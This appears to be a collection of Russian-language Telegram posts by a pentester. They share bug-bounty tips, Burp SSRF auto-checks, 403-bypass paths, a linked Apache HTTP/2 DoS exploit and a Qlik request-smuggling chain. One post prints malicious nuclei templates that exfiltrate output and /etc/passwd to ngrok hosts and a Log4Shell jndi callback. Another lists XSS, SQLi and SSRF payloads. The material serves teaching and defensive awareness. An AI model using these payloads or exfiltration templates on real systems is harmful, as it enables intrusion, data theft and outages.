Red Fox Security

Привет! Я проводил множество собесов для админов и пентестеров, менторил несколько человек по разным аспектам наступательной информационной безопасности, сам участвовал в собесах. Мне нравится как разные вопросы позволяют пролить свет на глубину знаний человека в той или иной области. Решил создать и курировать репозиторий с вопросами по наступательной безопасности на русском языке. Почему-то я не нашел такой репозиторий сразу. На английском языке таких огромное колличество и все они имею свои плюсы и минусы. Этот репозиторий содержит в себе компиляцию вопросов по наступательной безопасности (offensive security). Используя этот материал, можно подготовиться к предстоящему собеседованию или прикинуть какие области знаний Вами не покрыты для самостоятельного обучения. Хороший интервьюер всегда задаст более глубокий и уточняющий вопрос, а соискателю будет невероятно полезно осознавать что еще ему стоит подучить или хотя бы иметь ввиду. Проект является личной инициативой и несет в себе исключительно альтруистические цели. Проект является открытым, каждый желающий может сделать форк или предложить изменения в существующий список вопросов мне в личку в телеге (@curiv). Порядок вопросов и их категория носят субъективный характер. Репозиторий будет наполняться с течением времени, список источников представлен в последнем разделе. Вопросы будут агрегироваться из источников, список источников также будет пополняться. Если оставите положительные реакции, то мне будет приятно ❤️ https://github.com/curiv/russian-offensive-security-questions #pentest #interview #repository

Отличная и полезная инициатива, рекомендую для подготовки и самопроверки. Докину еще PR с пачкой вопросов в WEB, а то вижу раздел немного пустоват :)

Давненько не постил, но отчасти из-за того, что не было особо интересных вещей о которых можно было бы написать (ресерч с работой сложно совмещать). В этом же посте поделюсь опытом работы, чего удалось достичь и про одну недавнюю недооцененную DoS уязвимость которая по моему мнению очень критична, но о ней почти никто не говорит. Приступим! 🔷 О работе в интеграторе Уже почти как полгода работаю инженером по тестированию на проникновение (проще пентестером) в Метаскане. Одним из главных преимуществ интеграторов я бы выделил возможность работать с самыми разнообразными клиентами, технологиями и ПО. Учитывая мой прошлый опыт с баг баунти, для меня такая работа в инфосеке подошла в самый раз. Опыт крайне положительный, хоть и не без недостатков - много работы, мало времени на ресерч :( Тем не менее, узнаю много нового и даже за время работы уже удалось найти 2 zero-day XSS в российском ПО (Vinteo и Р7-ОФИС). Уязвимостям пока только назначили временный идентификатор, поэтому ждём фикса и публикации :) Передавал их напрямую в БДУ, поэтому туда уже добавили в рейтинг (в ближайшее время должны начислить рейтинг еще за вторую уязвимость): https://bdu.fstec.ru/rating 🔷 О новой DoS уязвимости в HTTP/2 (Continuation flood) Пока что единственный канал который написал об этой уязвимости - это Proxy Bar и ещё видел статью на Хакер. Уязвимость позволяет вызвать отказ в обслуживании в ряде серверов, но из них выделил бы Apache (CVE-2024-27316). Сейчас остается уязвимой немалая часть серверов на Apache, многие детекторы не сообщают об этой уязвимости если сервер сам намеренно не сообщает свою версию. Таким является Apache в составе Cisco Expressway - они на данный момент тоже уязвимы (и патча от Cisco на момент поста, кстати, нет) и можно просто вывести из строя сервер одним простым скриптом: https://github.com/lockness-Ko/CVE-2024-27316 Скрипт уже пробовали применять - результаты крайне удивляют, сервер выводится из строя в момент начала работы скрипта и остается недоступным пока скрипт не будет прерван. 🔸 Мой совет - если имеете дело с Apache серверами, крайне рекомендую проверить их на эту уязвимость (если неизвестно какая версия используется), на мой взгляд это очень критичная и недооцененная уязвимость о которой почти никто не говорит. 👀 В следующем посте планирую рассказать об инструментах, расширениях для Burp и программах которые использую в работе, в общем, поделюсь о том, как организовано мое "рабочее место" :) Удачной охоты за багами 👾

📈 Прокачиваем AutoRepeater с Hackvertor Вот и подходит к концу 2023 год, в последние недели закрываются проекты, работа кипит. Среди всей этой суеты нашел немного времени на пост, поэтому начну с небольшого отступления :) Совсем недавно нашел XSS у российского вендора и отправил свою первую уязвимость в БДУ 🎉 Уязвимость подтвердили, назначили временный идентификатор CVE BDU и направили информацию вендору, надеюсь уже скоро она получит постоянный номер и станет публичной 👀 А теперь про тему поста. Для Burp Suite есть таких два крутых расширения, как Hackvertor и AutoRepeater. Вдохновившись этим списком (запись с конференции) советов для прокачки Burp Suite Pro от Agarri_FR сделал себе несколько дополнительных автопроверок. 🔶 Делаем автопроверку на SSRF: 1. Заходим на вкладку Variables в Hackvertor. 2. Жмем set_variable1, у нас появляется тэг вида <@set_variable1(false)><@/set_variable1>, где: 2.1. "variable1" - это любое имя которое мы можем задать. 2.2. "false" - если эта переменная является глобальной. 3. Приводим к такому виду: <@set_ssrf(true)>ssrf.interactsh.com<@/set_ssrf> 4. Теперь переходим в расширение AutoRepeater и во вкладке BaseReplacements справа кликаем "Add". 5. Здесь добавим правило на новый заголовок: Type: Add Header Match: оставить пустым Replace: True-Client-IP: <@random_alphanum_lower(5)/>.<@get_ssrf/> Which: Replace First Regex Match: false 6. Можно заметить, что здесь я добавил еще тэг <@random_alphanum_lower(5)/> - это может помочь нам идентифицировать какой именно запрос привел к интеракции и найти его в том же Logger++, очень удобно :) 7. Во вкладке Conditions рекомендую такие настройки: Sent From Tool: Proxy AND URL: Is In Scope AND File Extension: Does not Match: (js|gif|jpg|png|css|svg|ico|ttf|woff2|woff|otf) 8. Готово, ваш первый заголовок для автопроверки на SSRF сделан. 🔷 По такому же принципу можно добавить еще пачку заголовков, вроде X-Forwarded-For, Referer, X-Real-IP, а в случае с User-Agent сделать правило на "Match Header Name, Replace value" на строку типа: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 root@<@random_alphanum_lower(5)/>.<@get_ssrf/> 🔷 В Hackvertor можем сделать еще одну переменную, например, такого вида: <@set_ssrf_rng(true)><@random_alphanum_lower(5)/>.ssrf.interactsh.com<@/set_ssrf_rng> И вставлять тэг <@get_ssrf_rng/> в любом другом месте вместо того, чтобы искать пейлоад каждый раз. 📑 Примечание: в последней версии (2023.11.1.3) Burp Suite если вставить такой тэг в AutoRepeater, то строка не будет рандомной, но в более старых версиях это работало, так что если у вас старая версия, можно применять последний тэг во всех случаях. 🔷 Можно подменять заголовок Host на свой пейлоад в отдельной вкладке AutoRepeater. Или делать более сложные правила, например, на подмену всех параметров в GET запросах: Type: Request First Line Match: \b[a-zA-Z0-9]{1,}\b\.(com|ru|org|net)\b Replace: <@random_alphanum_lower(5)/>.<@get_ssrf/> Which: Replace All Regex Match: True Таким способом все запросы, где есть параметр со значением в виде домена, мы будем подменять на наш пейлоад автоматически: GET /path?param=example.com -> GET /path?param=rng.ssrf.interactsh.com 🔴 Тэги variables сбрасываются при перезапуске Burp, так что рекомендую их отдельно хранить где-то у себя, чтобы повторно при перезапуске не добавлять их в Hackvertor. Во вкладке есть и другие виды переменных, но в один пост все не поместится, так что можете поизучать сами или если надумаю как еще применить, то сделаю отдельный пост. Тут еще не говоря о такой фиче Hackvertor как кастомные теги со своими скриптами вроде Python (очень крутая вещь, советую посмотреть). В общем, всего с этими двумя расширениями можно настроить кучу автоматических проверок и сэкономить много времени на обычном Repeater. Мне уже не раз помогло найти SSRF в больших проектах где просто не может хватить времени проверить все параметры и запросы. #burp #tips

⚠️ Небезопасные сканеры безопасности Сегодня речь пойдет про сканеры безопасности. Как неожиданно, но довольно интересно. Обычно, это они же нам помогают искать уязвимости и зарабатывать деньги репутацию на багбаунти. О каких opensource сканерах мы знаем? Ну... там nuclei, ZAP, может что-то менее известное, например arachni (продались, а движок был интересный, в своё время) или же jaeles, который схож темплейтами с nuclei. А может никому не известный Artemis, да, он тоже работает с темплейтами. ❌ Тёмная сторона сканеров или как ваши таргеты летят другим людям Вот вроде бы всё замечательно со сканерами работающими на темплейтах. Легко добавлять новые CVE и POC, легко управлять сканированием используя теги. Даже комьюнити развивает и пишет что-то своё для себя и в GitHub. А только ли ради сообщества это делают? Возможно, но не все. Не одной CVE едины. Стоит вспомнить CVE-2021-21224, которая позволяла получить RCE через темплейт nuclei можете попробовать установив старую версию (исключительно в образовательных целях). Благо с выходом версии nuclei 3.0 code-based можно запускать только с использованием -code и только подписанные. А что с другими сканерами... пока не ясно ❌ А что сейчас могут подсунуть? 👉 SSRF requests: - method: GET path: - "http://127.0.0.1:1337/flag" - "http://111111111111.ngrok.io/{{base64(output)}}" extractors: - type: regex name: output part: body internal: true 👉 Local File Read requests: - method: GET payloads: passwd: /etc/passwd path: - "https://111111111111.ngrok.io/{{passwd}}" 👉 Перехват Log4shell (реальный пример) requests: - raw: - |+ GET / HTTP/1.1 {{header}}: ${jndi:ldap://labdalab.duckdns.org:4567/a} payloads: header: - User-Agent Вот и думайте, когда запускаете nuclei-подобные сканеры. Используйте только проверенные, самописные или находящиеся на этапе валидации. 🎁 Ниже представлен инструмент для скачивания легитимных, но пока ещё не валидированных темплейтов (спасибо @reewardiwe). 💻 GitHub - Ссылка 📌 НЕ ИСПОЛЬЗУЙТЕ cent и подобные парсеры гита для обогащения базы. #redteam

🔻ZeroQlik + DoubleQlik (CVE-2023-41265, CVE-2023-41266, CVE-2023-48365) Довольно интересная уязвимость попалась мне недавно на глаза. К моему удивлению, почти нигде о ней не писалось до недавней новости про вымогатель Cactus на xakep. 🔗 Уязвимость под названием ZeroQlik нашли исследователи из Praetorian 📑 Заключается она в уязвимом к CL.TE варианту HTTP Request Smuggle прокси Qlik Sense, который является фронтом для пользовательских запросов. Вспомогательной уязвимостью стала Path Traversal для обхода аутентификации. Исследование показалось мне довольно интересным - как подход (Grey box анализ), так и примененные цепочки уязвимостей для достижения RCE. Это один из таких случаев где как раз применяется туннелирование запросов при помощи HTTP Request Smuggling. 🔗 Не менее интересным оказался обход фикса DoubleQlik 📑 Так как в фиксе проверялось наличие заголовка Transfer-encoding: chunked, а в частности значение chunked, то Praetorian довольно несложно удалось обойти это ограничение воспользовавшись символом табуляции: Transfer-encoding: ,\tchunked,\r\n Шаблоны для детекта под Nuclei застряли в процессе валидации у Nuclei-templates, поэтому вот ссылки: 🔸 CVE-2023-41265 🔸 CVE-2023-41266 🔸 CVE-2023-48365 (DoubleQlik обход) 🔻Не менее интересной оказалась такая особенность Qlik Sense как публично доступные директории для NTLM Аутентификации /internal_windows_authentication/?targetId=$GUID, что позволяет подбирать пароли или собирать информацию об Active Directory организации. Red Team на заметку! 👀 На Shodan на данный момент доступно 6576 (примерно дня 3 назад было 7000+) публично доступных Qlik. Как искать: 🔹http.title:"Qlik" 🔹http.favicon.hash:-1730722660 Вот такая интересная уязвимость в приложении которое общается с разными бэкенд компонентами, может пригодиться при тестировании похожих приложений.

🔎 Ищем CVE на GitHub GitHub является одним из лучших источников для свежих уязвимостей, эксплойтов или шаблонов. Иногда бывает, что кто-то публикует шаблон в своем репозитории и он может месяцами не появляться в таких больших репозиториях как Nuclei Templates. Или публичная информация о "Half-Day" уязвимостях которые только в процессе патчинга. Вот несколько GitHub дорков под популярные сканеры для эффективного поиска. В конце поста ссылка на экспериментальную утилиту для поиска информации о Half-Day уязвимостях 👀 🔷 Nuclei: path:*.yaml "CVE-XXXX-XXXX" 🔷 BChecks (Burp Extension): path:*.bcheck Бывает что в BChecks есть какой-то шаблон которого нет у Nuclei, так что можно проверять оба :) 🔷 Jaeles: path:*.yaml "level:" "info:" "risk:" "requests:" Тут чуть меньше уникальных идентификаторов, поэтому если есть вариант получше, то добавлю сюда 🔶 CVE Half-Day Watcher Собственно утилита для автоматизации поиска любой информации по свежим CVE. Это может быть любой коммит, пулл реквест или сообщения в issues. Поиск по шаблонам, конечно, выдает меньше ложных срабатываний, но и он менее полон. Все эти варианты можно объединить и автоматизировать, а сверху еще отсылать нотификации через Notify. Вот такой своеобразный OSINT, пользуйтесь :)

Исследование уязвимостей IDOR и Broken Access Control: автоматизация их поиска с помощью расширения Autorize в Burp Suite и кейс из мира Bug Bounty📅 https://telegra.ph/IDOR-Autorize-BrokenAccessControl-09-27

🔤🔤 Одна из лучших mind карт атак на AD https://orange-cyberdefense.github.io/ocd-mindmaps/img/pentest_ad_dark_2023_02.svg

Собираю постепенно материалы для углубления в пентест, надеюсь кому-то тоже пригодится 👀

📘 Twitter (X) в Telegram. 🖖🏻 Приветствую тебя, user_name. • Основная часть иностранных специалистов в области #OSINT и #ИБ публикуют свой материал именно в Twitter. Но как быть, если ты не хочешь регистрироваться в соц.сети Илона Маска и хочешь получать информацию не выходя из Telegram? • В таком случае у нас есть отличный бот, в котором можно добавить любые странички из Twitter и следить за их обновлениями. К слову, бот умеет не только в Twitter, но и в Facebook, YT и RSS-ленты. • Все что требуется, это запустить бот @TheFeedReaderBot и добавить нужный канал через команду /add • От себя добавлю, что я практически каждый день стараюсь мониторить определенные блоги и странички в различных социальных сетях, для получения свежей информации. Соответственно, ты можешь сделать аналогичным образом: cоставить список интересующих блогов, добавить их в бота и следить за обновлениями не выходя из Telegram, что позволит тебе получать актуальную информацию и быть в курсе последних новостей. S.E. ▪️ infosec.work

Хороший совет: одним Telegram не обойтись, а зарубежные багхантеры и исследователи очень активны в Twitter. Крайне рекомендую следить за активностью в твиттере чтобы быть в тренде :)

Сложно искать новые баги? Нужно сформировать какой-то новый подход? Ответ прост: пора читать доки! 📑 Поговорим сегодня о такой вещи как стандарты интернета в формате RFC (Request for Comments). Знали ли вы, что "//" в протоколах вроде "http://" не имеют какого-либо практического назначения, а лишь добавляют лишних символов в адреса? Или, например, у любого домена должна быть точка в конце: https://ru.wikipedia.org./wiki/RFC (попробуйте открыть, этот домен будет считаться уже другим источником (origin), что может привести к интересным багам) 🐛 Проблемы (баги) возникают когда разработчики применяют имплементацию по стандарту, но не обращают внимания на скрытые параметры или особенности, которые поддерживаются этим стандартом, что приводит к уязвимостям в системе. Эти и многие другие особенности описаны в RFC документах. Так как некоторые из них уже устарели или не получили широкого распространения, имеет смысл понимать подход к чтению RFC и на что обращать внимание. ▶️ Ранее у меня на канале был такой вот пост про стандарт формата Email по RFC822 (стоит обратить внимание на "comment", теперь в RFC2822). Ещё из недавнего это RFC3966 описывающий дополнительные параметры при обработке телефонных номеров: XSS: +79119111111;phone-context=<script>alert()</script> SQLi: +79119111111;phone-context=' OR 1=1;-- SSRF: +79119111111;phone-context=oast.attacker.com Template Injection: +79119111111;phone-context={{2*2}}[[3*3]] Parameter pollution (1): +79119111111;phone-context=&phone-context=+79119111112 Parameter pollution (2): +79119111111;ext=1;ext=2 # можно ещё использовать для перебора OTP меняя цифру в ext с каждой попыткой Больше вариантов применения стандартов RFC при поиске багов можно найти по ссылкам: 🔸 RTFR (Read The Bleeping RFC) by securinti (многие уже видели это видео, в нём показаны лучшие примеры применения особенностей стандартов RFC) 🔸 Till REcollapse: Fuzzing the Web for Mysterious Bugs by @0xacb (больше про фаззинг, но не менее интересная тема) 🔸 The Cost of Complexity: Different Vulnerabilities While Implementing the Same RFC (может быть сложно для понимания, но главное посмотреть на отметке 27:33) Как читать и с чего можно начать: 🔹 How to Read an RFC 🔹 RFC 3968 Uniform Resource Identifier (URI) 🔹 RFC 7230 Hypertext Transfer Protocol (HTTP/1.1) 🔹 RFC 7540 Hypertext Transfer Protocol Version 2 (HTTP/2)

Привет всем! Провожу небольшой ребрендинг в связи с тем, что старая ссылка ушла на аукцион Telegram ввиду моего бездействия. Поэтому теперь канал называется: 🦊🛡Red Fox Security Существует одноименная компания, но Telegram они не используют, а их Twitter практически неактивен. Поэтому я надеюсь, что никто не будет путать меня с ними. 😁 Название слишком уж мне понравилось, тем более что я буду писать больше по Red Team направлению. Считаю его идеально подходящим. 👉А теперь контент: Как багхантер искал работу. Каких ошибок стоит избежать и как быть готовым к интервью Наконец я взял себя в руки и решил продолжить развивать свою карьеру в ИБ после долгого перерыва. Поэтому написал статью на эту тему. 👀 В конце статьи можно найти полезные ссылки для подготовки к интервью или для изучения тем по релевантным специализациям.

Channel photo updated

Channel name was changed to «Red Fox Security»

Удобно собранный список IP серверов за Cloudflare. Список, конечно, не полный, но если попался таргет с неверно сконфигурированным Cloudflare - может пригодиться: https://intelx.io/?s=734ac30d-caa9-4348-94ad-106cd5f940c2 В некоторых случаях обойти Cloudflare невозможно, если конфигурация верная, так что помочь может не всегда. По крайней мере с этим списком можно некоторое время не тратить время на долгий поиск реального IP :)

Cобирал ещё тут на основе своего и чужого опыта разные случаи обхода закрытых директорий. Довольно часто приложения находятся за обратными прокси (reverse proxy) или за теми же балансерами нагрузки (load balancers). И в результате их неверной конфигурации можно получать доступ к закрытым страничкам. Так что когда делаете перебор директорий, стоит обращать внимание на коды вроде 302, 400, 401, 403, 404, если, конечно, таких страничек не большинство. 1. Пробовать добавлять спец символы, например: /file/image.png%23 Или %3f // ?, %26 // &, %2e // ., %2f // / (слеш), %40 // @. Так же пробовать двойной, тройной URL-encode, # = %23 = %2523 = %252523 2. /path/to/secret 302 на логин /public/path/to/secret 200 /foo 403 / 404 /foo/bar 200 3. /admin 403 //admin 200 /%2fadmin 200 4. GET /account/secret 302 GET /account/secret.json 200 5. /admin/secret/ 403 /admin/public/ 200 /admin/public/;secret/ 200, доступ к secret 6. /page 403 /page/ 200 /page/%20 200 /page.ext 200 (ext = php, html, json, и другие, перебирать) /page/?param 200 7. GET /admin 403 GET /page X-Original-URL: /admin 200 или X-Rewrite-URL: /admin 8. GET /admin 403 ANYTHING /admin 200, перебор других методов, вроде PUT, DELETE, ... Пробовать комбинировать с заголовком X-HTTP-Method-Override: ANYTHING 9. Редко, но тоже бывает если кривой конфиг: /index.html 403 /index.html/ 200 10. /admin 403 /aDmiN 200 /aDmiN/ 200 /ADMIN 200 11. Java, Tomcat, j2ee: /page.jsp?include=..;/..;/secret.txt /WEB-INF/web.xml 403 /./WEB-INF/web.xml 403 /.//WEB-INF/web.xml 200 /admin/ 302 /admin..;/ 200 12. /wp-admin/install.php 403 /wp-admin/install.php/* 200 Частично на основе: https://samcurry.net/hacking-starbucks/ https://docs.google.com/presentation/d/1N9Ygrpg0Z-1GFDhLMiG3jJV6B_yGqBk8tuRWO1ZicV8/edit#slide=id.g722ec9d5aa_0_0

Обновляю свои устаревшие заметки, решил заодно пересмотреть методологию. Многие тратят время на поиск более мелких ошибок и репортят их сразу не думая. Листая твиттер заметил, что многие продвинутые багхантеры находя ошибки вроде CSRF, неверный CORS, обход SOP, Reflected XSS, не репортят их сразу, а держат до последнего пока они не пригодятся для чего-то более крупного. К тому же, вполне вероятно что кто-то уже зарепортил эту более простую уязвимость и вы получите только дубликат. Со мной не раз было такое, что репорт принимали и оплачивали, даже когда одна из уязвимостей, необходимая для эксплойта, уже была кем-то отправлена. Не всегда полная сумма, но в виду повышенной критичности эту мелкую уязвимость пофиксят куда быстрее чем планировалось. Некоторые программы так же не платят, или платят очень мало, за баги с низкой критичностью, так что в этой ситуации их тоже отбрасывать не стоит. Для менее опытных багхантеров это обычная ситуация, т.к. в виду отсутствия понимания возможных векторов атаки мелкие ошибки становятся основной репортов. Пробуйте смотреть наперед и предполагать, где может пригодится только что обнаруженная вами уязвимость. Для более опытных багхантеров этот совет, скорее всего, очевидный, но надеюсь кому-то принесет пользу :)

Наткнулся недавно на интересную технику с использованием особенностей hop-by-hop заголовка Connection:. Техника применима только в спеке HTTP/1.1 и заключается в том, что добавляя через запятую дополнительные заголовки в Connection: заголовке, сервер, который получит запрос, отправит дальше этот запрос уже без заголовков, которые были перечислены в Connection: следующим образом: Connection: close, X-Foo, X-Bar Вместо X-Foo, X-Bar могут быть такие заголовки, как X-Forwarded-For, Cookie и вообще любые возможные заголовки. Представим следующую схему: Пользователь -> Прокси-сервер-1 -> Сервер-приложение Отправив запрос Connection: close, X-Forwarded-For, Прокси-сервер-1 увидит это и если он работает согласно спецификациям, то он уберет X-Forwarded-For: заголовок, даже если он что-то добавляет в него тоже, и сервер-приложение получит запрос уже без X-Forwarded-For заголовка. Как это можно применить? Способов масса и зависит от ситуации. Быстрый пример: 1. Делаем запрос: GET /admin HTTP/1.1 Host: example.com Connection: close, X-Forwarded-For 2. Прокси-сервер-1 сначала видит от кого пришел запрос и добавляет наш IP в X-Forwarded-For: 3. Затем он видит, что в Connection: заголовке есть X-Forwarded-For и совсем убирает этот заголовок. 4. Сервер-приложение не видит X-Forwarded-For для проверки IP-адресов и вместо запрета доступа к /admin разрешает его. Применений на самом деле масса, оригинал можно прочитать на английском: https://nathandavison.com/blog/abusing-http-hop-by-hop-request-headers Найти заголовки, которые обычно используют прокси-сервера и для чего можно найти здесь: https://github.com/GrrrDog/weird_proxies